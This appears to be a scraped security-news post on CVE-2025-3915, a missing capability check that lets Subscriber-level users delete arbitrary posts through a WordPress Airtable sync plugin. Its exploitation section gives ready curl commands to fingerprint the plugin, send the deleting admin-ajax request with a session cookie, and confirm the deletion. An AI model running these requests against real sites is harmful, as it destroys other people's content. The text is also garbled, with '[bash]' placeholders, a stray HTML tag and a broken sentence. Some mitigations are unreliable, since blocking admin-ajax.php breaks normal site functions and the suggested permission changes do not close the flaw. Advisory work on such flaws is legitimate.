CVE-2025-3915: Authenticated Arbitrary Post Deletion Vulnerability in Aeropage Sync for Airtable

The Aeropage Sync for Airtable WordPress plugin contains a critical vulnerability in the `aeropageDeletePost` function, allowing unauthorized post deletion. Versions up to and including 3.2.0 fail to implement proper capability checks, enabling any authenticated user—even with Subscriber-level access—to delete arbitrary posts. This flaw can lead to severe data loss and website integrity compromise.

You Should Know:

Exploitation Steps

1. Identify Vulnerable Plugin Version

curl -s http://target-site.com/wp-content/plugins/aeropage-sync-airtable/readme.txt | grep "Stable tag"

If the version is ≤ 3.2.0, the site is vulnerable.

2. Craft Malicious Request

curl -X POST 'http://target-site.com/wp-admin/admin-ajax.php' \
--data 'action=aeropageDeletePost&post_id=123' \
-H 'Cookie: wordpress_logged_in_[bash]=[bash]'

Replace `post_id` with the target post ID and `

` with a valid Subscriber session.

<h2 style="color: yellow;">3. Verify Exploitation</h2>

[bash]
curl -I http://target-site.com/?p=123

A `404 Not Found` confirms successful deletion.

Mitigation Steps

• Immediate Patch: Update to the latest plugin version (if available).
• Temporary Workaround: Restrict `admin-ajax.php` access via .htaccess:

  <Files "admin-ajax.php">
  Order Deny,Allow
  Deny from all
  Allow from 127.0.0.1
  </Files>
  

• WordPress Hardening:

  chmod 750 /wp-content/plugins/aeropage-sync-airtable/
  

Detection via Logs

Check Apache/Nginx logs for suspicious `POST /wp-admin/admin-ajax.php` requests:

grep 'POST.admin-ajax' /var/log/apache2/access.log | grep 'aeropageDeletePost'

What Undercode Say

This vulnerability highlights the risks of inadequate capability checks in WordPress plugins. Always:
– Audit plugins using wp-cli:

wp plugin list --fields=name,version,status

– Monitor user roles:

wp user list --role=subscriber --fields=ID,user_login

– Enforce least privilege:

wp cap remove subscriber delete_posts

– Automate backups:

tar -czvf wp-backup-$(date +%F).tar.gz /var/www/html/

Expected Output:

A secure WordPress instance with:

• Patched Aeropage Sync for Airtable (v3.2.1+).
• Restricted `admin-ajax.php` access.
• Regular backups (cronjob).
• Active monitoring for unauthorized deletions.

Relevant URL: CVE-2025-3915 Details

References:

Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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